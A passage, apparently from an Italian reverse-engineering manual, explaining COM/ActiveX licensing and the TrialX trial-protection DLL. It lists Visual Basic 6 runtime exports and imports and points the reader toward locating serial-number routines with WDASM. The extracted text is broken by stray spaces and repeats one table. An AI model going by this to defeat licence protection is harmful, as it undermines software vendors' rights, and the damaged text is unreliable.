def i ni r l o sol t ant o come ent r ypoi nt del sof t war e.
I pr ogr ammi i n Wi ndows 3. 1 chi amavano pr i ma di Wi nMai n t r e f unzi oni semi
document at e ovver o I ni t Task( ) , I ni t App e Wai t Event ( ) .
I n Wi n32 pr i ma di Wi nMai n veni va chi amat a l a f unzi one Wi nMai nCRTSt ar t up( ) ment r e
per i pr ogr ammi consol e i l nome er a mai nCRTSt ar t up( ) .
Gener al ment e i l compi l at or e, t r a l e t ant e cose che aggi unge, ci met t e anche
quest a f unzi one ma sol o nel caso i n cui quest a non esi st a.
I n al t r e par ol e i l pr ogr ammat or e pot r ebbe scr i ver e l ui quest a f unzi one.
Una l i br er i a di f unzi oni pot r ebbe esser e vi st a come una met odol ogi a per i l
r i ut i l i zzo del codi ce.
I n pr at i ca una f unzi one suf f i ci ent ement e gener i ca e con uno scopo non l i mi t at o
ad un sol o pr ogr amma, pot r ebbe esser e i nser i t a i n una l i br er i a e successi vament e
r i ut i l i zzat a i n al t r i pr ogr ammi .
Mi cr osof t per gar ant i r e l a r i usabi l i t del sof t war e a l i vel l o bi nar i o ha punt at o
sul l a t ecnol ogi a OLE.
Dal l a f i ne degl i anni 80 l a t ecnol ogi a OLE ha subi t o un i nf i ni t di modi f i che
si no ad abbr acci ar e l a nuova t ecnol ogi a l egat a al model l o COM.
Mol t e f unzi onal i t nei pr ogr ammi al gi or no d oggi sono svi l uppat e medi ant e
quest a t ecnol ogi a.
Nei pr ogr ammi vendut i sono sempr e pi pr esent i modul i OCX nel l e qual i sono
i ncapsul at e t ut t e i met odi r el at i vi a det er mi nat e gest i oni .
Le l i br er i e di f unzi oni , come ad esempi o quel l e l egat e al l a gr af i ca, sono
di st r i bui t e i n quest o f or mat o e non r ar o t r ovar e si st emi di pr ot ezi one
sof t war e ader ent i a quest o f i l one.
I l l at o posi t i vo di quest a met odol ogi a che l i nt egr azi one t r a component i
di ver se, svi l uppat i i n t empi di f f er ent i e da var i aut or i , avvi ene a l i vel l o di
codi ce ogget t o e non di sor gent e.
Ader i r e a quest o st andar d por t a ad una ser i e di vant aggi t r a cui
l i nt er oper abi l i t t r a component i di ver si , l i ndi pendenza dal l i nguaggi o e l a
compat i bi l i t a r i t r oso ver so pr ecedent i ver si oni del l o st esso component e.
Lo st andar d COM di spone di i nt er f acce che possono esser e vi st e come una
col l ezi one di f unzi oni l a cui si nt assi una vol t a def i ni t a r i mane i mmut at a.
Tut t e l e f unzi onal i t degl i ogget t i COM sono r ese di sponi bi l i t r ami t e quest e
i nt er f acce.
Ogni component e vi ene i mpl ement at o come un punt at or e ad una v- t abl e, ovver o una
t abel l a di punt at or i a f unzi one.
Su un vol ume avevo l et t o una vol t a una met af or a che r endeva bene l i dea usando
i l concet t o di cont r at t o.
I n pr at i ca un ogget t o COM veni va par agonat o a quest o i n quant o quando di chi ar ava
di suppor t ar e una cer t a i nt er f acci a ComI nt er f ace, ad esempi o, assi cur ava per
cont r at t o l i mpl ement azi one di t ut t e l e f unzi oni pr evi st e.
I l model l o COM ha come base di t ut t i i suoi component i l i nt er f acci a I unknow
compost a da t r e f unzi oni di base : AddRef ( ) , Rel ease( ) , Quer yI nt er f ace( ) .
Le pr i me due gest i scono un meccani smo i nt er no di cont eggi o del l e r ef er enze.
Tut t e l e vol t e che l ogget t o vi ene connesso un cont at or e i nt er no vi ene
i ncr ement at o e i nver sament e vi ene decr ement at o quando quest o vi ene r i l asci at o.
I l met odo Quer yI nt er f ace( ) i nvece ha i l compi t o di at t i var e i l pr ocesso di
i nt er oper abi l i t t r a component i e i l suo suppor t o.
Quest o met odo obbl i gat or i o per t ut t i gl i ogget t i COM.
Esi st e una speci e di anal ogi a t r a l e cl assi del C++ e gl i ogget t i COM anche se
uno a l i vel l o sor gent e ment r e l al t r o a l i vel l o bi nar i o.
Tut t e e due possono esser e vi st e come r i f er i ment i a una t abel l a di f unzi oni che
el enca i ser vi zi che possono ser vi r e.
Act i veX di spone di un si st ema par t i col ar e per l a gest i one del l e l i cenze.
Per f ar e quest o MFC met e a di sposi zi one uno schema di base i n gr ado di
soddi sf ar e l a maggi or par t e del l e esi genze i n quest o set t or e.
Come di cevo pr i ma Act i veX si basa sul l a met odol ogi a del l e i nt er f acce e anche per
l i mpl ement azi one del l e l i cenze vi ene esegui t a t r ami t e quel l a chi amat a
I cl assFact or y2 che compr ende al cuni met odi che sono abbast anza sempl i ci da
scr i ver e.
Quando una sof t war e house scr i ve una cont r ol l o Act i veX e l o met t e i n vendi t a sa
che l acqui r ent e l o ut i l i zzer nel l a sua appl i cazi one e che qui ndi di st r i bui r
i l f i l e . ocx che cont i ene i met odi ad al t r e per sone.
I l pr obl ema del l a l i cenza cer ca di r i sol ver e i l pr obl ema del l uso non
aut or i zzat o di quest a.
Chi r i ceve l appl i cazi one pot r ebbe t r anqui l l ament e i nser i r e i l cont r ol l o OCX
dent r o ad un suo pr ogr amma, una pagi na ht ml o qual si asi sof t war e che suppor t i
quest a met odol ogi a.
I l si st ema del l e l i cene dovr ebbe i nnanzi t ut t o di f f er enzi ar e quel l o che l uso
del cont r ol l o i n un ambi ent e di svi l uppo da quel l o di r unt i me.
Avr et e vi st o i n gi r o per i vost r i di schi dei f i l e . LI C.
Quest i sono f i l e di l i cenza ut i l i zzat i con cont r ol l i OCX che avet e i nst al l at o
con qual che si st ema di svi l uppo o a segui t o di qual che appl i cat i vo gener al e.
La cl asse di gest i one del l e l i cenze, I CLasFact or y2, der i va dal l a cl asse
I Cl assFact or y r i spet t o al l a qual e di spone sol o di al cuni met odi i n pi .
I l met odo Get Li cI nf o r ecuper a l e i nf or mazi oni che r i guar dano l at t ual e l i cenza
del cont r ol l o.
Se i l cont r ol l o l o suppor t a, i l met odo Rquest Li cKey gl i chi ede una copi a r un-
t i me del l a l i cenza.
I l met odo Cr eat eI nst anceLi c anal ogo a Cr eat eI nst ace sal vo che pr ende come
par amet r o l a chi ave di l i cenza.
Esi st ono met odi come Get Li cI nf o, Request Li cKey e Cr eat eI nst anceLi c che
cost i t ui scono l e basi per t ut t i i cont r ol l i di l i cenza.
La chi ave di l i cenza vi ene t r at t at a come un BSTR anche se di f at t o pu cont ener e
qual si asi dat o compr esi dei NULL.


ACTIVE X PER SISTEMI DI CREAZIONE DEMO


Come di cevo pr i ma gl i Act i veX st anno di vent ando uno st andar d anche nel campo
del l e pr ot ezi oni da copi a e per i si st emi di cr eazi one demo.
Un pr odot t o commer ci al e l egat o a quest a t ecnol ogi a Tr i al X.
Quest o cont r ol l o Act i veX i n gr ado di esser e i mpl ement at o i n qual si asi
pr ogr amma per cr ear e ver si oni di most r at i ve anche mol t o compl esse.
Tr i al X mant i ene l e i nf or mazi oni r el at i ve al pr ogr amma e al l ut ent e i n un suo
dat abase non vi si bi l e.
Tr i al X esi st e i n t r e ver si oni che di spongono del l e seguent i possi bi l i t ( l egget e
i l capt ur e del l a pubbl i ci t di Tr i al X) :

Standard EditionThe Standard Edition includes all of the Free Edition
features plus it provides complete control over the duration of the trial. It
is limited to day limited trials. You cannot change the style of trial.
Developer EditionThe Developer Edition includes all of the Standard
Edition features plus it provides complete control over both the style and
duration of the trial. It supports day locks, time locks, run locks, feature
locks and date locks. You have complete control over the appearance,
style and duration of the trials. You cannot extend, remove or otherwise
control the trial remotely.
Professional EditionThe Professional Edition includes all of the
Developer Edition features plus it provides complete remote control over
trial for extensions, removals and updates to the trial. It also provides
localization capabilities so that you can create custom localized versions
of your trials.

Tr ai l X si basa sul l a DLL o sul l OCX TRXTD200. DLL.

General informations : c:\Windows\SYSTEM\Trxtd200.dll
=====================================================
Last update : 15/06/99
File size : 475 136 byte(s)
Module type : WINDOWS Dynamic links library (32 bits)
FileDescription : Secure Trials of Your Real Software
FileVersion : 2.02.0071
CompanyName : Modern Software Publishing, Inc.
LegalCopyright : 1999 Modern Software Publishing, Inc. All rights reserved.
InternalName : trxtd200
OriginalFilename : trxtd200.dll
ProductName : Modern TrialX 2.0 (DLL)
ProductVersion : 2.02.0071

La DLL espor t a l e seguent i f unzi oni

Exported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
0 DllCanUnloadNow
1 DllGetClassObject
2 DllRegisterServer
3 DllUnregisterServer

ed i mpor t a dal l a DLL r el at i va al l a Vi r t ual Machi ne di Vi sual Basi c 6. 0

Imported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
MSVBVM60 0 DllFunctionCall
MSVBVM60 0 EVENT_SINK_AddRef
MSVBVM60 0 EVENT_SINK_GetIDsOfNames
MSVBVM60 0 EVENT_SINK_Invoke
MSVBVM60 0 EVENT_SINK_QueryInterface
MSVBVM60 0 EVENT_SINK_Release
MSVBVM60 0 MethCallEngine
MSVBVM60 0 ProcCallEngine
MSVBVM60 0 Zombie_GetTypeInfo
MSVBVM60 0 Zombie_GetTypeInfoCount
MSVBVM60 0 __vbaExceptHandler


La DLL si r i f er i sce di r et t ament e ed i ndi r et t ament e al l e seguent i DLL di si st ema
e di RunTi me.
Imported functions : c:\Windows\SYSTEM\Trxtd200.dll
===================================================
MSVBVM60 0 DllFunctionCall
MSVBVM60 0 EVENT_SINK_AddRef
MSVBVM60 0 EVENT_SINK_GetIDsOfNames
MSVBVM60 0 EVENT_SINK_Invoke
MSVBVM60 0 EVENT_SINK_QueryInterface
MSVBVM60 0 EVENT_SINK_Release
MSVBVM60 0 MethCallEngine
MSVBVM60 0 ProcCallEngine
MSVBVM60 0 Zombie_GetTypeInfo
MSVBVM60 0 Zombie_GetTypeInfoCount
MSVBVM60 0 __vbaExceptHandler


LIBRERIA MACCHINA VIRTUALE VISUAL BASIC 6.0

Un di scor so par t i col ar e i n r el azi one al l e l i br er i e va f at t o per quant o r i guar da
quel l e di un dei l i nguaggi pi ut i l i zzat i ovver o Vi sual Basi c.
Mol t i ssi mi pr ogr ammi f anno r i f er i ment o al l e l i br er i e di Vi sual Basi c 6. 0, ad
esempi o anche Tr i al X che abbi amo appena vi st o.
I l f i l e di RunTi me si chi ama MSVBVM60. DLL e come di ce i l nome con pr eci si one
r el at i vo al l a macchi na vi r t ual e di VB.
I dat i pr eci si sono :

General informations : f:\WINNT\SYSTEM32\MSVBVM60.DLL
Last update : 26/04/99
File size : 1 409 024 byte(s)
Module type : WINDOWS Dynamic links library (32 bits)
FileDescription : Visual Basic Virtual Machine
FileVersion : 6.00.8244
CompanyName : Microsoft Corporation
LegalCopyright : Copyright 1987-1998 Microsoft Corp.
InternalName : MSVBVM60.DLL
ProductName : Visual Basic
ProductVersion : 6.00.8244



Ut i l i zzando WDASM ci si
r i t r ova di nanzi ad una
f i nest r a r el at i va al l e
f unzi oni i mpor t at e del
t i po r i por t at o qui a
f i anco.
La seguent e l i st a most r a
l e f unzi oni espor t at e da
MSVBVM60. DLL








Expor t ed f unct i ons : f : \ WI NNT\ SYSTEM32\ MSVBVM60. DLL

0 ThunRTMai n
1 VBDl l UnRegi st er Ser ver
2 VBDl l CanUnl oadNow
3 VBDl l Regi st er Ser ver
4 VBDl l Get Cl assObj ect
5 User Dl l Mai n
6 Dl l Regi st er Ser ver
7 Dl l Unr egi st er Ser ver
8 __vbaAr yLock
9 __vbaBool Er r Var
10 __vbaRedi mVar 2
11 __vbaSt r Er r Var Copy
12 __vbaVar Lat eMemCal l Ld
13
__vbaVar Lat eMemCal l LdRf
14 __vbaVar Lat eMemCal l St
15 __vbaVar Lat eMemSt
16 __vbaVar Lat eMemSt Ad
17 __vbaAr yVar Var g
18 __vbaFpCDbl R4
19 __vbaFpCDbl R8
20 __vbaFpCSngR4
21 __vbaFpCSngR8
22 __vbaFpCmpCy
23 __vbaFpCy
24 __vbaFpI 2
25 __vbaFpI 4
26 __vbaFpR4
27 __vbaFpR8
28 __vbaFpUI 1
29 __vbaFr eeObj
30 __vbaFr eeSt r
31 __vbaFr eeVar
32 __vbaFr eeVar g
33 __vbaI 2Abs
34 __vbaI 2I 4
35 __vbaI 2Sgn
36 __vbaI 4Abs
37 __vbaI 4Sgn
38 __vbaSt r Copy
39 __vbaSt r Move
40 __vbaUI 1I 2
41 __vbaUI 1I 4
42 __vbaUI 1Sgn
43 __vbaVar Copy
44 __vbaVar Dup
45 __vbaVar Move
46 __vbaVar Var gNof r ee
47 __vbaVar Zer o
48 __vbaVar gPar mRef
49 __vbaVar gVar
50 __vbaVar gVar Copy
51 __vbaVar gVar Move
52 __vbaVar gVar Ref
53 DLLGet Document at i on
54 Dl l CanUnl oadNow
55 Dl l Get Cl assObj ect
56 _CI at an
57 _CI cos
58 _CI exp
59 _CI l og
60 _CI si n
61 _CI sqr t
62 _CI t an
63 __vbaApt Of f set
64 __vbaAr yConst r uct 2
65 __vbaAr yConst r uct
66 __vbaAr yCopy
67 __vbaAr yDest r uct
68 __vbaAr yMove
69 __vbaAr yRebase1Var
70 __vbaAr yRecCopy
71 __vbaAr yRecMove
72 __vbaAr yUnl ock
73 __vbaAr yVar
74 __vbaBool St r
75 __vbaBool Var
76 __vbaBool Var Nul l
77 __vbaCVar Ar yUdt
78 __vbaCast Obj
79 __vbaCast Obj Var
80 __vbaCheckType
81 __vbaCheckTypeVar
82 __vbaChkst k
83 __vbaCopyByt es
84 __vbaCopyByt esZer o
85 __vbaCyAbs
86 Pr ocCal l Engi ne
87 Dl l Funct i onCal l
88 __vbaCyAdd
89 __vbaCyEr r Var
90 CopyRecor d
91 __vbaCyFi x
92 __vbaCyFor I ni t
93 __vbaCyFor Next
94 __vbaCyI 2
95
Ti pGet Addr essOf Pr edecl ar edI n
st ance
96 __vbaCyI 4
97 __vbaCyI nt
98 __vbaCyMul
99 Met hCal l Engi ne
100 __vbaCyMul I 2
101 __vbaCySgn
102 __vbaCySt r
103 __vbaCySub
104 __vbaCyUI 1
105 __vbaCyVar
106 __vbaDat eR4
107 __vbaDat eR8
108 __vbaDat eSt r
109 __vbaDat eVar
110 __vbaDer ef Ar y
111 __vbaDer ef Ar y1
112 __vbaEnd
113 __vbaEr ase
114 __vbaEr aseKeepDat a
115 __vbaEr aseNoPop
116 __vbaEr r or
117 __vbaEr r or Over f l ow
118 __vbaExcept Handl er
119 __vbaExi t EachAr y
120 Ti pSet Opt i on
121 __vbaExi t EachCol l
122 __vbaExi t EachVar
123 __vbaExi t Pr oc
124 __vbaFPExcept i on
125 __vbaFPFi x
126 __vbaFPI nt
127 Ti pUnl oadPr oj ect
128 __vbaFai l edFr i end
129 __vbaFi l eCl ose
130
Ti pCr eat eI nst ancePr oj ect 2
131 EbReset Pr oj ect
132
EbGet Handl eOf Execut i ngPr oj ec
t
133 __vbaFi l eCl oseAl l
134 __vbaFi l eLock
135 __vbaFi l eOpen
136 __vbaFi l eSeek
137 __vbaFi xst r Const r uct
138 __vbaFor EachAr y
139 __vbaFor EachCol l Ad
140 __vbaFor EachCol l Obj
141 __vbaFor EachCol l Var
142 __vbaFor EachVar
143 __vbaFr eeObj Li st
144 __vbaFr eeSt r Li st
145 __vbaFr eeVar Li st
146
__vbaGener at eBoundsEr r or
147 __vbaGet 3
148 __vbaGet 4
149 __vbaGet FxSt r 3
150 __vbaGet FxSt r 4
151 __vbaGet Owner 3
152 __vbaGet Owner 4
153 __vbaGosub
154 __vbaGosubFr ee
155 __vbaGosubRet ur n
156 __vbaHr esul t Check
157
__vbaHr esul t CheckNonvi r t
158 __vbaHr esul t CheckObj
159 __vbaI 2Cy
160 __vbaI 2Er r Var
161 __vbaI 2For Next Check
162 __vbaI 2St r
163 __vbaI 2Var
164 __vbaI 4Cy
165 EbReset Pr oj ect Nor mal
166 Ti pUnl oadI nst ance
167 __vbaI 4Er r Var
168 EbLi br ar yLoad
169 EbLi br ar yUnl oad
170 __vbaI 4For Next Check
171 EbLoadRunTi me
172 __vbaI 4St r
173 __vbaI 4Var
174 EbCr eat eCont ext
175 EbDest r oyCont ext
176
EbSet Cont ext Wor ker Thr ead
177 __vbaI nSt r
178 __vbaI nSt r B
179 __vbaI nSt r Var
180 __vbaI nSt r Var B
181 __vbaI nput Fi l e
182 __vbaLat eI dCal l
183 __vbaLat eI dCal l Ld
184 EbGet Er r or I nf o
185 __vbaLat eI dCal l St
186 __vbaLat eI dNamedCal l
187 __vbaLat eI dNamedCal l Ld
188 __vbaLat eI dNamedCal l St
189 __vbaLat eI dNamedSt Ad
190 __vbaLat eI dSt
191 __vbaLat eI dSt Ad
192 __vbaLat eMemCal l
193 __vbaLat eMemCal l Ld
194 __vbaLat eMemCal l St
195 __vbaLat eMemNamedCal l
196
__vbaLat eMemNamedCal l Ld
197
__vbaLat eMemNamedCal l St
198 EbI sPr oj ect OnSt ack
199 Ti pCr eat eI nst anceEx
200 Get Mem2
201 Get Mem4
202 Get Mem8
203 Get MemSt r
204 Get MemVar
205 Get MemObj
206 Put Mem2
207 Put Mem4
208 Put Mem8
209 Put MemSt r
210 Put MemVar
211 Put MemObj
212 Set MemVar
213 Set MemObj
214 Get MemNewObj
215 Put MemNewObj
216 Set MemNewObj
217 Get Mem1
218 Put Mem1
219 Get MemEvent
220 Put MemEvent
221 Set MemEvent
222 __vbaLat eMemNamedSt Ad
223 __vbaLat eMemSt
224 __vbaLat eMemSt Ad
225 __vbaLbound
226 __vbaLdZer oAr y
227 __vbaLenBst r
228 __vbaLenBst r B
229 __vbaLenVar
230 __vbaLenVar B
231 __vbaLi neI nput St r
232 __vbaLi neI nput Var
233 __vbaLset Fi xst r
234 __vbaLset Fi xst r Fr ee
235 __vbaMi dSt mt Bst r
236 __vbaMi dSt mt Bst r B
237 __vbaMi dSt mt Var
238 __vbaMi dSt mt Var B
239 __vbaNameFi l e
240 __vbaNew2
241 __vbaNew
242 __vbaNext EachAr y
243 __vbaNext EachCol l Ad
244 __vbaNext EachCol l Obj
245 __vbaNext EachCol l Var
246 __vbaNext EachVar
247 __vbaObj Addr ef
248 __vbaObj I s
249 __vbaObj Set
250 __vbaObj Set Addr ef
251 __vbaObj Var
252 __vbaOnEr r or
253 __vbaOnGoCheck
254 __vbaPower R8
255 __vbaPr i nt Fi l e
256 __vbaPr i nt Obj
257 __vbaPut 3
258 __vbaPut 4
259 __vbaPut FxSt r 3
260 __vbaPut FxSt r 4
261 __vbaPut Owner 3
262 __vbaPut Owner 4
263 __vbaR4Cy
264 __vbaR4Er r Var
265 __vbaR4For Next Check
266 __vbaR4Sgn
267 __vbaR4St r
268 __vbaR4Var
269 __vbaR8Cy
270 __vbaR8Er r Var
271 __vbaR8Fi xI 2
272 __vbaR8Fi xI 4
273 __vbaR8For Next Check
274 __vbaR8I nt I 2
275 __vbaR8I nt I 4
276 __vbaR8Sgn
277 __vbaR8St r
278 __vbaR8Var
279 __vbaRai seEvent
280 __vbaRecAnsi ToUni
281 __vbaRecAssi gn
282 __vbaRecDest r uct
283 __vbaRecDest r uct Ansi
284 __vbaRecUni ToAnsi
285 __vbaRedi m
286 __vbaRedi mPr eser ve
287 __vbaRedi mPr eser veVar
288 __vbaRedi mPr eser veVar 2
289 __vbaRedi mVar
290 __vbaRef Var Ar y
291 __vbaResume
292 __vbaRset Fi xst r
293 __vbaRset Fi xst r Fr ee
294 __vbaSet Syst emEr r or
295 __vbaSt opExe
296 __vbaSt r 2Vec
297 __vbaSt r Ar yToAnsi
298 __vbaSt r Ar yToUni code
299 __vbaSt r Bool
300
EVENT_SI NK_Quer yI nt er f ace
301 EVENT_SI NK_AddRef
302 EVENT_SI NK_Rel ease
303
EVENT_SI NK_Get I DsOf Names
304 EVENT_SI NK_I nvoke
305 __vbaSt r Cat
306 __vbaSt r Cmp
307 __vbaSt r Comp
308 __vbaSt r CompVar
309 __vbaSt r Cy
310
BASI C_CLASS_Quer yI nt er f ace
311 BASI C_CLASS_AddRef
312 BASI C_CLASS_Rel ease
313
BASI C_CLASS_Get I DsOf Names
314 BASI C_CLASS_I nvoke
315 __vbaSt r Dat e
316 __vbaSt r Fi xst r
317 __vbaSt r I 2
318 __vbaSt r I 4
319 __vbaSt r Li ke
320
BASI C_DI SPI NTERFACE_Get TI Cou
nt
321
BASI C_DI SPI NTERFACE_Get TypeI
nf o
322 __vbaSt r R4
323 __vbaSt r R8
324 __vbaSt r Text Cmp
325 __vbaSt r Text Li ke
326 __vbaSt r ToAnsi
327 __vbaSt r ToUni code
328 __vbaSt r UI 1
329 __vbaSt r Var Copy
330 Zombi e_Quer yI nt er f ace
331 Zombi e_AddRef
332 Zombi e_Rel ease
333
Zombi e_Get TypeI nf oCount
334 Zombi e_Get TypeI nf o
335 Zombi e_Get I DsOf Names
336 Zombi e_I nvoke
337 __vbaSt r Var Move
338 __vbaSt r Var Val
339 __vbaUI 1Cy
340 EVENT_SI NK2_AddRef
341 EVENT_SI NK2_Rel ease
342 __vbaUI 1Er r Var
343 __vbaUI 1St r
344 __vbaUI 1Var
345 __vbaUbound
346 __vbaUdt Var
347 __vbaUnkVar
348 __vbaVar 2Vec
349 __vbaVar Abs
350 __vbaVar Add
351 __vbaVar And
352 __vbaVar Cat
353 __vbaVar CmpEq
354 __vbaVar CmpGe
355 __vbaVar CmpGt
356 __vbaVar CmpLe
357 __vbaVar CmpLt
358 __vbaVar CmpNe
359 __vbaVar Dat eVar
360 __vbaVar Di v
361 __vbaVar Eqv
362 __vbaVar Er r I 4
363 __vbaVar Fi x
364 __vbaVar For I ni t
365 __vbaVar For Next
366 __vbaVar I di v
367 __vbaVar I mp
368 __vbaVar I ndexLoad
369 __vbaVar I ndexLoadRef
370
__vbaVar I ndexLoadRef Lock
371 __vbaVar I ndexSt or e
372 __vbaVar I ndexSt or eObj
373 __vbaVar I nt
374 __vbaVar Li ke
375 __vbaVar Li keVar
376 __vbaVar Mod
377 __vbaVar Mul
378 __vbaVar Neg
379 __vbaVar Not
380 __vbaVar Or
381 __vbaVar Pow
382 __vbaVar Set Obj
383 __vbaVar Set Obj Addr ef
384 __vbaVar Set Unk
385 __vbaVar Set UnkAddr ef
386 __vbaVar Set Var
387 __vbaVar Set Var Addr ef
388 __vbaVar Sub
389 __vbaVar Text CmpEq
390 __vbaVar Text CmpGe
391 __vbaVar Text CmpGt
392 __vbaVar Text CmpLe
393 __vbaVar Text CmpLt
394 __vbaVar Text CmpNe
395 __vbaVar Text Li ke
396 __vbaVar Text Li keVar
397 __vbaVar Text Tst Eq
398 __vbaVar Text Tst Ge
399 __vbaVar Text Tst Gt
400 __vbaVar Text Tst Le
401 __vbaVar Text Tst Lt
402 __vbaVar Text Tst Ne
403 __vbaVar Tst Eq
404 __vbaVar Tst Ge
405 __vbaVar Tst Gt
406 __vbaVar Tst Le
407 __vbaVar Tst Lt
408 __vbaVar Tst Ne
409 __vbaVar Xor
410 __vbaVar gObj
411 __vbaVar gObj Addr ef
412 r t cLef t Bst r
413 r t cLef t Var
414 r t cRi ght Bst r
415 r t cRi ght Var
416 r t cAnsi Val ueBst r
417 r t cLower CaseBst r
418 r t cLower CaseVar
419 r t cTr i mBst r
420 r t cTr i mVar
421 r t cLef t Tr i mBst r
422 r t cLef t Tr i mVar
423 r t cRi ght Tr i mBst r
424 r t cRi ght Tr i mVar
425 r t cSpaceBst r
426 r t cSpaceVar
427 r t cUpper CaseBst r
428 r t cUpper CaseVar
429 r t cKi l l Fi l es
430 r t cChangeDi r
431 r t cMakeDi r
432 r t cRemoveDi r
433 r t cChangeDr i ve
434 r t cBeep
435 r t cGet Ti mer
436 r t cSt r Fr omVar
437 r t cBst r Fr omAnsi
438 r t cPackDat e
439 r t cPackTi me
440 r t cGet Dat eVal ue
441 r t cGet Ti meVal ue
442 r t cGet DayOf Mont h
443 r t cGet Hour Of Day
444 r t cGet Mi nut eOf Hour
445 r t cGet Mont hOf Year
446 r t cGet Pr esent Dat e
447 r t cGet SecondOf Mi nut e
448 r t cSet Dat eVar
449 r t cSet Dat eBst r
450 r t cSet Ti meVar
451 r t cSet Ti meBst r
452 r t cGet DayOf Week
453 r t cGet Year
454 r t cFi l eReset
455 r t cFi l eAt t r i but es
456 r t cI sAr r ay
457 r t cI sDat e
458 r t cI sEmpt y
459 r t cI sEr r or
460 r t cI sNul l
461 r t cI sNumer i c
462 r t cI sObj ect
463 r t cVar Type
464 r t DecFr omVar
465 r t cFi l eWi dt h
466 r t cI nput Count
467 r t cI nput Count Var
468 r t cFi l eSeek
469 r t cFi l eLocat i on
470 r t cFi l eLengt h
471 r t cEndOf Fi l e
472 r t cHexBst r Fr omVar
473 r t cHexVar Fr omVar
474 r t cOct Bst r Fr omVar
475 r t cOct Var Fr omVar
476 r t cFi l eCopy
477 r t cFi l eDat eTi me
478 r t cFi l eLen
479 r t cGet Fi l eAt t r
480 r t cSet Fi l eAt t r
481 r t cR8Val Fr omBst r
482 r t cSi n
483 r t cCos
484 r t cTan
485 r t cAt n
486 r t cExp
487 r t cLog
488 r t cRgb
489 r t cQBCol or
490 r t cMacI d
491 r t cTypeName
492 r t cI sMi ssi ng
493 r t cRandomNext
494 r t cRandomi ze
495 r t cMsgBox
496 r t cI nput Box
497 r t cAppAct i vat e
498 r t cDoEvent s
499 r t cSendKeys
500 r t cShel l
501 r t cAr r ay
502 __vbaVar gUnk
503 __vbaVar gUnkAddr ef
504 __vbaVer i f yVar Obj
505 r t cGet Er l
506 r t cSt r i ngBst r
507 r t cSt r i ngVar
508 r t cVar Bst r Fr omAnsi
509 r t cGet Dat eBst r
510 r t cGet Dat eVar
511 r t cGet Ti meBst r
512 r t cGet Ti meVar
513 r t cVar St r Fr omVar
514 r t cSqr
515 r t cI MESt at us
516 r t cLef t Char Bst r
517 r t cLef t Char Var
518 r t cRi ght Char Bst r
519 r t cRi ght Char Var
520 r t cI nput Char Count
521 r t cI nput Char Count Var
522 r t cSt r ConvVar
523 __vbaWr i t eFi l e
524 r t cGet Host LCI D
525 r t cCr eat eObj ect
526 r t cGet Obj ect
527 r t cAppl eScr i pt
528 r t cMi dBst r
529 r t cMi dVar
530 r t cI nSt r
531 r t cMi dChar Bst r
532 r t cMi dChar Var
533 r t cI nSt r Char
534 r t Bst r Fr omEr r Var
535 r t Bool Fr omEr r Var
536 r t CyFr omEr r Var
537 r t I 2Fr omEr r Var
538 r t I 4Fr omEr r Var
539 r t R4Fr omEr r Var
540 r t R8Fr omEr r Var
541 r t cDat eFr omVar
542 r t cVar Fr omVar
543 r t cCVEr r Fr omVar
544 Var Pt r
545 r t cDi r
546 r t cCur r ent Di r Bst r
547 r t cCur r ent Di r
548 r t cFr eeFi l e
549 r t cCompar eBst r
550 r t cBst r Fr omFor mat Var
551 r t cBst r Fr omEr r or
552 r t cVar Fr omEr r or
553 r t cLenChar Var
554 r t cLenVar
555 r t cFi xVar
556 r t cAbsVar
557 r t cI nt Var
558 r t cSgnVar
559 _adj _f di v_m16i
560 r t cVar Fr omFor mat Var
561 r t cDat eAdd
562 r t cDat eDi f f
563 r t cDat ePar t
564 r t cPar t i t i on
565 r t cChoose
566 r t cEnvi r onVar
567 r t cEnvi r onBst r
568 r t cSwi t ch
569 r t cCommandBst r
570 r t cCommandVar
571 r t cSLN
572 r t cSYD
573 r t cDDB
574 r t cI PMT
575 r t cPPMT
576 r t cPMT
577 r t cPV
578 r t cFV
579 r t cNPer
580 r t cRat e
581 r t cI mmedi at eI f
582 r t cI RR
583 r t cMI RR
584 r t cNPV
585 r t cEr r Obj
586 r t UI 1Fr omEr r Var
587 r t cVar Dat eFr omVar
588 _adj _f di v_m32
589 r t cGet Set t i ng
590 r t cSaveSet t i ng
591 r t cDel et eSet t i ng
592 r t cGet Al l Set t i ngs
593 r t cByt eVal ueBst r
594 r t cBst r Fr omByt e
595 r t cVar Bst r Fr omByt e
596 r t cChar Val ueBst r
597 r t cBst r Fr omChar
598 r t cVar Bst r Fr omChar
599 r t cSet Cur r ent Cal endar

600 r t cGet Cur r ent Cal endar
601 _adj _f di v_m32i
602 r t cFor mat Number
603 r t cFor mat Cur r ency
604 r t cFor mat Per cent
605 r t cFor mat Dat eTi me
606 r t cWeekdayName
607 r t cMont hName
608 r t cFi l t er
609 r t cI nSt r Rev
610 r t cJ oi n
611 r t cSpl i t
612 r t cRepl ace
613 r t cSt r Rever se
614 r t cRound
615 r t cCal l ByName
616 r t cCr eat eObj ect 2
617 r t cSt r ConvVar 2
618 _adj _f di v_m64
619 _adj _f di v_r
620 _adj _f di vr _m16i
621 _adj _f di vr _m32
622 _adj _f di vr _m32i
623 _adj _f di vr _m64
624 _adj _f pat an
625 _adj _f pr em
626 _adj _f pr em1
627 _adj _f pt an
628 _al l mul
899 Ti pI nvokeMet hod2
916 Ti pI nvokeMet hod
924 I I D_I VbaHost
925
EbGet Obj Connect i onCount s
1900 Cr eat eI Expr Sr vObj
1910 EbGet VBAObj ect


Comunque del l a ser i e t ut t o f i ni sce i n chi amat e API
ecco l al ber o ger ar chi co del l e DLL.
A l i vel l o di ker nel 32. dl l , gdi 32. dl l ecc. si
t r over anno l e var i e f unzi oni che sono vi st e nel
capi t ol o r el at i vo al l e API Wi ndows.
Quest e che seguono sono sono l e f unzi oni i mpor t at e.
A f i anco ci t r ovat e l e DLL a cui si r i f er i scono.
I n ogni caso andando a cer car e l e f unzi oni r el at i ve
al l e r out i nes di ser i al i zzazi one dovr emo cer car e l e
f unzi oni el encat e pr ecedent ement e.


I mpor t ed f unct i ons f : \ WI NNT\ SYSTEM32\ MSVBVM60. DLL

ADVAPI 32 10 Adj ust TokenPr i vi l eges
ADVAPI 32 76 Der egi st er Event Sour ce
ADVAPI 32 170 I ni t i al i zeSecur i t yDescr i pt or
ADVAPI 32 191 LookupPr i vi l egeVal ueA
ADVAPI 32 260 OpenPr ocessToken
ADVAPI 32 279 RegCl oseKey
ADVAPI 32 282 RegCr eat eKeyA
ADVAPI 32 285 RegCr eat eKeyW
ADVAPI 32 286 RegDel et eKeyA
